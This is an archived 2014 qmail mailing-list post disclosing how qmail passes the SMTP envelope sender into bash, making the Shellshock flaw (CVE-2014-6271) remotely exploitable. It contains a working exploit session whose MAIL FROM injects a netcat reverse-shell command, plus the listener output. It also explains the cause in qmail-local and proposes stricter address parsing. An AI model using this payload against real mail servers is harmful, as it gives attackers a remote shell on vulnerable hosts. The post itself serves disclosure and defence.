[prev in list] [next in list] [prev in thread] [next in thread] 

List:       qmail
Subject:    qmail is a vector for CVE-2014-6271 (bash "shellshock")
From:       Kyle George <kgeorge () tcpsoft ! com>
Date:       2014-09-27 15:36:15
Message-ID: Pine.LNX.4.64.1409261359040.11182 () patton ! tcpsoft ! net
[Download RAW message or body]

qmail can be used as an attack vector to exploit bash vulnerable to 
CVE-2014-6271 (aka shellshock).  This can be used to execute arbitrary 
commands as any valid user with a .qmail containing a program delivery. 
Common uses of program delivery are procmail, ezmlm, spam checkers, etc. 
As has already been said, upgrade your bash now!

The preconditions for this attack to work are:

1) "Shellshock"-vulnerable bash
2) /bin/sh symlinked to bash
3) Email delivery via qmail to a valid user with a .qmail file containing 
ANY program delivery (the actual program being delivered to is irrelevant)

DJB acknowledged qmail was a vector in [0], and there has been some 
discussion in that thread with partial details.  I sent an email privately 
to DJB on Thursday afternoon before he sent that message to the list. 
While I did not receive a reply, I'll assume he saw it and that's why he 
sent the notice.

I delayed sending details publicly, but I think some people have figured 
it out now, and it's important to show the severity so people understand 
that shellshock is exploitable in ways other than HTTP and patch bash on 
all devices, especially permitter ones.

The issue is expoitable via qmail-1.03 (DJB's last release) and 
netqmail-1.06.  While not exploitable without a vulnerable bash, I think 
qmail should be doing more input validation/sanitization of certain fields 
in the SMTP dialog.

(Let me also say that I've run qmail for a long time, and that I am 
appreciative of qmail and the other software and crypto that DJB has 
produced.)

I will now provide an example, explain how it works via qmail, and suggest 
a possible change to qmail's input validation.

Example:

======

(terminal 0)

$ nc -l -p 7777

(terminal 1)

$ pwd
/home/kgeorge
$ cat .qmail
|/bin/cat
$ telnet localhost 25
Trying 127.0.0.1... 
Connected to localhost.
Escape character is '^]'. 
220 mail.example.com ESMTP 
ehlo me
250-mail.example.com
250-PIPELINING
250 8BITMIME
mail from:<() { :; }; nc -e /bin/bash localhost 7777>
250 ok
rcpt to:<kgeorge@example.com>
250 ok
data
354 go ahead
Subject: Vuln

.
250 ok 1411674782 qp 4151

(terminal 0)

$ nc -l -p 7777
ls
mail
whoami
kgeorge

======

What you see above is that I am able to get a connect back shell by 
passing specially crafted information in the SMTP dialog.  Don't be fooled 
by "localhost", it would work regardless.  Those of you following this CVE 
will notice that the mail from:<> is set to take advantage of the bash 
bug, and it looks just like all the other vectors via HTTP, etc.

So why does this work?  Well, those of us that have run qmail for a while 
know that it uses environment variables [1] to as a way to pass 
information to other processes during delivery and as it invokes processes 
in the chain [2].

When qmail goes to do local delivery of an email, qmail-lspawn (which runs 
as root) does setuid to the uid of the unix user responsible for the email 
address.  It then exec's qmail-local.  qmail-local finds the applicable 
.qmail file in the user's home directory, if it exists, parses each line, 
and does delivery to each non-comment line.  Each non-comment line in a 
.qmail indicates delivery to a forwarding address, a maildir, an mbox, or 
a program.

If the message is to be delivered to a program (a line beginning with 
"|"), then qmail-local first sets some environment variables conveying 
information about the messsage.  It then forks and execs the program using 
/bin/sh -c, as you can see on line 244 of qmail-local.c:

   args[0] = "/bin/sh"; args[1] = "-c"; args[2] = prog; args[3] = 0;
   sig_pipedefault();
   execv(*args,args);

Two of the environment variables that qmail-local sets before doing 
program delivery are SENDER and NEWSENDER (among others).  qmail 
propagates the "envelope sender" -- the thing between <> in the mail from: 
part of the SMTP dialog -- verbatim into this variable.

Conceptually, qmail is running this command:

   SENDER="MAILFROMVALUEFROMSMTPDIALOG" /bin/sh -c PROGRAMFROMDOTQMAIL

In my example exploit, this is effectively:

   SENDER="() { :; }; nc -e /bin/bash localhost 7777" /bin/sh -c /bin/cat

On many systems, /bin/sh is a symlink to bash.  When exec'ed, the 
vulnerable bash parses SENDER at startup and incorrectly runs the command 
under attacker control, with privileges of the local user, regardless of 
the program in .qmail.

Again, this is not exploitable without vulnerable bash.  However, qmail is 
not parsing mail from:<> and rcpt to:<> in accordance with RFC821/RFC2821. 
These fields are called "reverse-path" and "foward-path" in the RFCs. 
See section 4.1.2 in [3] and [4].  In qmail-smtpd.c, these are parsed by 
the addrparse() function.  If you read this code, you can see that almost 
anything is allowed.  I think it's too permissive.

In other words, there is no reason that I can see that qmail should allow 
the string "() { :; }; nc -e /bin/bash localhost 7777" to ever pass 
through mail from:<> or rcpt to:<> in the first place.  I think this is a 
bug.  Perhaps DJB can offer some historical perspective.

[0] http://marc.info/?l=qmail&m=141170230109642&w=2
[1] http://www.lifewithqmail.org/lwq.html#environment-variables
[2] http://www.catb.org/~esr/writings/taoup/html/ch06s06.html
[3] http://tools.ietf.org/html/rfc821#page-27
[4] http://tools.ietf.org/html/rfc2821#section-4.1.2

-- 
Kyle George
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic